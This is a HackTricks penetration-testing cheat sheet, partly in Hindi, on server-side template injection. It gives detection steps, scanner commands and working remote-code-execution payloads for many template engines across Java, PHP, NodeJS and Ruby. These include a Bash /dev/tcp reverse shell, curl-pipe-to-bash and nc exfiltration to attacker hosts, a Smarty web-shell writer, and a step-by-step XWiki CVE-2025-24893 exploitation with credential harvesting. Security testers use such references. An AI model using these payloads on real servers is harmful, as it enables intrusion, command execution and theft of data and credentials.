SSTI (Server Side Template Injection)

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

क्या है SSTI (Server-Side Template Injection)

Server-side template injection एक vulnerability है जो तब होती है जब एक attacker malicious code को उस template में inject कर सकता है जिसे server पर execute किया जाता है। यह vulnerability विभिन्न technologies में पाया जा सकता है, जिनमें Jinja शामिल है।

Jinja एक लोकप्रिय template engine है जो web applications में इस्तेमाल होता है। आइए एक example पर विचार करें जो Jinja का उपयोग करते हुए एक vulnerable code snippet दिखाता है:

output = template.render(name=request.args.get('name'))

इस कमजोर कोड में, उपयोगकर्ता के अनुरोध का name पैरामीटर सीधे render फ़ंक्शन का उपयोग करके टेम्पलेट में पास किया जाता है। इससे संभावित रूप से एक attacker name पैरामीटर में malicious code inject कर सकता है, जिससे server-side template injection हो सकता है।

उदाहरण के लिए, एक attacker इस तरह का payload लेकर request तैयार कर सकता है:

http://vulnerable-website.com/?name={{bad-stuff-here}}

The payload {{bad-stuff-here}} is injected into the name parameter. This payload can contain Jinja template directives that enable the attacker to execute unauthorized code or manipulate the template engine, potentially gaining control over the server.

To prevent server-side template injection vulnerabilities, developers should ensure that user input is properly sanitized and validated before being inserted into templates. Implementing input validation and using context-aware escaping techniques can help mitigate the risk of this vulnerability.

पता लगाना

To detect Server-Side Template Injection (SSTI), initially, fuzzing the template is a straightforward approach. This involves injecting a sequence of special characters (${{<%[%'"}}%\) into the template and analyzing the differences in the server’s response to regular data versus this special payload. कमजोरियों के संकेतों में शामिल हैं:

  • त्रुटियाँ (errors) फेंकी जाना, जो vulnerability और संभवतः template engine का पता दे सकती हैं।
  • reflection में payload की अनुपस्थिति, या उसके हिस्सों का गायब होना, यह दर्शाता है कि सर्वर इसे सामान्य डेटा से अलग तरीके से प्रोसेस कर रहा है।
  • Plaintext Context: XSS से अलग करने के लिए जाँचें कि क्या सर्वर template expressions को evaluate करता है (उदा., {{7*7}}, ${7*7})।
  • Code Context: इनपुट पैरामीटर बदलकर vulnerability की पुष्टि करें। उदाहरण के लिए, http://vulnerable-website.com/?greeting=data.username में greeting बदलकर देखें कि सर्वर का आउटपुट dynamic है या fixed — जैसे greeting=data.username}}hello username वापस कर रहा है।

पहचान चरण

template engine की पहचान error messages का विश्लेषण कर या विभिन्न भाषा-विशिष्ट payloads को मैन्युअली टेस्ट करके की जाती है। त्रुटि उत्पन्न करने वाले सामान्य payloads में ${7/0}, {{7/0}}, और <%= 7/0 %> शामिल हैं। गणितीय ऑपरेशन्स के प्रति सर्वर के रिस्पॉन्स को देखकर विशिष्ट template engine का पता लगाया जा सकता है।

Payloads द्वारा पहचान

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg

उपकरण

TInjA

एक कुशल SSTI + CSTI स्कैनर जो नए polyglots का उपयोग करता है

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Template Injection Table

एक इंटरैक्टिव तालिका जिसमें सबसे प्रभावी template injection polyglots और 44 सबसे महत्वपूर्ण template engines की अपेक्षित प्रतिक्रियाएँ शामिल हैं।

Exploits

Generic

इस wordlist में आप नीचे उल्लिखित कुछ engines के environments में परिभाषित variables defined पा सकते हैं:

Java

Java - Basic injection

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - सिस्टम के environment variables प्राप्त करें

${T(java.lang.System).getenv()}

Java - /etc/passwd प्राप्त करें

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

आप अपने payloads को https://try.freemarker.apache.org पर आज़मा सकते हैं

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Nothing
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandbox bypass

⚠️ केवल Freemarker के 2.3.30 से नीचे के वर्शन पर ही काम करता है

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

अधिक जानकारी

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

अधिक जानकारी

Thymeleaf

Thymeleaf में, SSTI कमजोरियों के लिए एक सामान्य परीक्षण अभिव्यक्ति ${7*7} है, जो इस template engine पर भी लागू होती है। संभावित remote code execution के लिए, निम्नलिखित जैसी अभिव्यक्तियाँ उपयोग की जा सकती हैं:

  • SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf इन अभिव्यक्तियों को specific attributes के भीतर रखने की मांग करता है। हालांकि, expression inlining अन्य template स्थानों के लिए समर्थित है, [[...]] या [(...)] जैसे सिंटैक्स का उपयोग करके। इसलिए, एक साधारण SSTI परीक्षण पेलोड [[${7*7}]] जैसा दिख सकता है।

हालाँकि, इस पेलोड के काम करने की संभावना सामान्यतः कम होती है। Thymeleaf की default configuration dynamic template generation को सपोर्ट नहीं करती; templates को predefined होना चाहिए। डेवलपर्स को strings से ऑन-दि-फ्लाय templates बनाने के लिए अपना TemplateResolver implement करना होगा, जो आमतौर पर असामान्य है।

Thymeleaf expression preprocessing भी प्रदान करता है, जहाँ double underscores (__...__) के भीतर की अभिव्यक्तियाँ preprocessing से गुजरती हैं। यह फीचर अभिव्यक्तियों के निर्माण में उपयोग किया जा सकता है, जैसा कि Thymeleaf की documentation में दर्शाया गया है:

#{selection.__${sel.code}__}

Thymeleaf में Vulnerability का उदाहरण

निम्नलिखित code snippet पर विचार करें, जो exploitation के लिए संवेदनशील हो सकता है:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

यह दर्शाता है कि अगर template engine इन इनपुट्स को गलत तरीके से प्रोसेस करता है, तो यह remote code execution का कारण बन सकता है और निम्नलिखित URLs तक पहुँच सकता है:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

अधिक जानकारी

EL - Expression Language

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Bypass filters

कई चर अभिव्यक्तियों का उपयोग किया जा सकता है, अगर ${...} काम नहीं करता तो #{...}, *{...}, @{...} या ~{...} आज़माएँ।

  • पढ़ें /etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Custom Script payload generation के लिए
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

अधिक जानकारी

Spring व्यू मैनिपुलेशन (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

EL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Pebble का पुराना संस्करण ( < version 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Pebble का नया संस्करण :

{% raw %}
{% set cmd = 'id' %}
{% endraw %}






{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (जावा)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava Hubspot द्वारा विकसित एक ओपन सोर्स प्रोजेक्ट है, उपलब्ध है https://github.com/HubSpot/jinjava/

Jinjava - Command execution

फिक्स किया गया: https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

अधिक जानकारी

Hubspot - HuBL (Java)

  • {% %} स्टेटमेंट विभाजक
  • {{ }} अभिव्यक्ति विभाजक
  • {# #} टिप्पणी विभाजक
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - “A”
  • {{'a'.concat('b')}} - “ab”
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

“com.hubspot.content.hubl.context.TemplateContextRequest” के लिए खोज करने पर Jinjava project on Github मिला।

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

अधिक जानकारी

Expression Language - EL (Java)

  • ${"aaaa"} - “aaaa”
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Expression Language (EL) JavaEE में presentation layer (जैसे web pages) और application logic (जैसे managed beans) के बीच इंटरैक्शन को सक्षम करने वाली एक मूलभूत सुविधा है। यह संचार को सरल बनाने के लिए कई JavaEE टेक्नोलॉजीज़ में व्यापक रूप से उपयोग होती है। EL का उपयोग करने वाली प्रमुख JavaEE टेक्नोलॉजीज़ में शामिल हैं:

  • JavaServer Faces (JSF): EL का उपयोग JSF पृष्ठों में components को संबंधित backend डेटा और actions से bind करने के लिए किया जाता है।
  • JavaServer Pages (JSP): JSP में EL का उपयोग JSP पृष्ठों के भीतर डेटा तक पहुँचने और उसे manipulate करने के लिए किया जाता है, जिससे पृष्ठ तत्वों को application डेटा से जोड़ना आसान हो जाता है।
  • Contexts and Dependency Injection for Java EE (CDI): EL, CDI के साथ मिलकर web layer और managed beans के बीच seamless interaction की अनुमति देता है, जिससे एप्लिकेशन संरचना अधिक संगठित रहती है।

नीचे दी गई पृष्ठ देखें ताकि आप exploitation of EL interpreters के बारे में और जान सकें:

EL - Expression Language

Groovy (Java)

निम्न Security Manager bypasses इस writeup से लिए गए हैं।

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

XWiki SolrSearch Groovy RCE (CVE-2025-24893)

XWiki ≤ 15.10.10 (fixed in 15.10.11 / 16.4.1 / 16.5.0RC1) बिना प्रमाणीकरण के RSS search feeds को Main.SolrSearch macro के माध्यम से रेंडर करता है। यह handler text query parameter लेता है, उसे wiki syntax में wrap करता है और macros को evaluate करता है, इसलिए }}} के बाद {{groovy}} inject करने से JVM में arbitrary Groovy execute हो जाता है।

  1. Fingerprint & scope – जब XWiki host-based routing के पीछे reverse-proxied हो, तो wiki vhost खोजने के लिए Host header को fuzz करें (ffuf -u http://<ip> -H "Host: FUZZ.target" ...), फिर /xwiki/bin/view/Main/ ब्राउज़ करें और footer (XWiki Debian 15.10.8) पढ़कर vulnerable build को पिन करें।
  2. Trigger SSTI – Request /xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20. RSS item <title> में Groovy output होगा। हमेशा सभी characters को URL-encode करें ताकि spaces %20 बने रहें; इन्हें + से बदलने पर XWiki HTTP 500 फेंकता है।
  3. Run OS commands – Groovy body को {{groovy}}println("id".execute().text){{/groovy}} से बदलें। String.execute() कमांड को सीधे execve() के साथ spawn करता है, इसलिए shell metacharacters (|, >, &) interpret नहीं होते। इसके बजाय download-and-execute pattern का उपयोग करें:
  • "curl http://ATTACKER/rev -o /dev/shm/rev".execute().text
  • "bash /dev/shm/rev".execute().text (the script holds the reverse shell logic).
  1. Post exploitation – XWiki database credentials /etc/xwiki/hibernate.cfg.xml में स्टोर करता है; hibernate.connection.password का leak वास्तविक सिस्टम passwords देता है जिन्हें SSH पर reuse किया जा सकता है। यदि service unit में NoNewPrivileges=true सेट है, तो /bin/su जैसे tools वैध passwords होने पर भी अतिरिक्त privileges नहीं प्राप्त करेंगे, इसलिए स्थानीय SUID binaries पर निर्भर रहने के बजाय SSH के जरिए pivot करें।

वही payload /xwiki/bin/get/Main/SolrSearch पर भी काम करता है, और Groovy stdout हमेशा RSS title में embedded होता है, इसलिए commands की enumeration को script करना आसान है।

Other Java

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

अधिक जानकारी

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - टेम्पलेट प्रारूप

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

अधिक जानकारी

Plates (PHP)

Plates PHP का एक टेम्पलेटिंग इंजन है जो Twig से प्रेरित है। हालांकि, Twig के विपरीत जो नया सिंटैक्स पेश करता है, Plates टेम्पलेट्स में native PHP कोड का उपयोग करता है, जिससे यह PHP डेवलपर्स के लिए सहज होता है।

कंट्रोलर:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

पृष्ठ टेम्पलेट:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

लेआउट टेम्पलेट:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

अधिक जानकारी

PHPlib और HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB PHPlib के समान है लेकिन Pear पर पोर्ट किया गया है।

authors.tpl

<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

अधिक जानकारी

अन्य PHP

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

अधिक जानकारी

patTemplate (PHP)

patTemplate गैर-कम्पाइलिंग PHP टेम्पलेटिंग इंजन है, जो XML टैग्स का उपयोग करके दस्तावेज़ को विभिन्न भागों में विभाजित करता है।

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

अधिक जानकारी

Handlebars (NodeJS)

Path Traversal (अधिक जानकारी here).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = त्रुटि
  • ${7*7} = ${7*7}
  • कुछ नहीं
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

अधिक जानकारी

JsRender (NodeJS)

टेम्पलेटविवरण
आउटपुट का मूल्यांकन और रेंडर करें
HTML एन्कोडेड आउटपुट का मूल्यांकन और रेंडर करें
टिप्पणी
औरकोड की अनुमति दें (डिफॉल्ट रूप से अक्षम)
  • = 49

क्लाइंट साइड

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

सर्वर-साइड

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

अधिक जानकारी

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

उदाहरण server side render

var pugjs = require("pug")
home = pugjs.render(injected_page)

अधिक जानकारी

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = कोई आउटपुट नहीं
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = त्रुटि
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}

अधिक जानकारी

NodeJS expression sandboxes (vm2 / isolated-vm)

कुछ workflow builders उपयोगकर्ता-नियंत्रित expressions को Node सैंडबॉक्स (vm2, isolated-vm) के अंदर evaluate करते हैं, फिर भी expression context अभी भी this.process.mainModule.require को expose करता है। इससे एक attacker child_process को load करके OS commands execute कर सकता है, भले ही dedicated “Execute Command” nodes disabled हों:

={{ (function() {
const require = this.process.mainModule.require;
const execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}

अन्य NodeJS

https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

अधिक जानकारी

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

अधिक जानकारी

अन्य Ruby

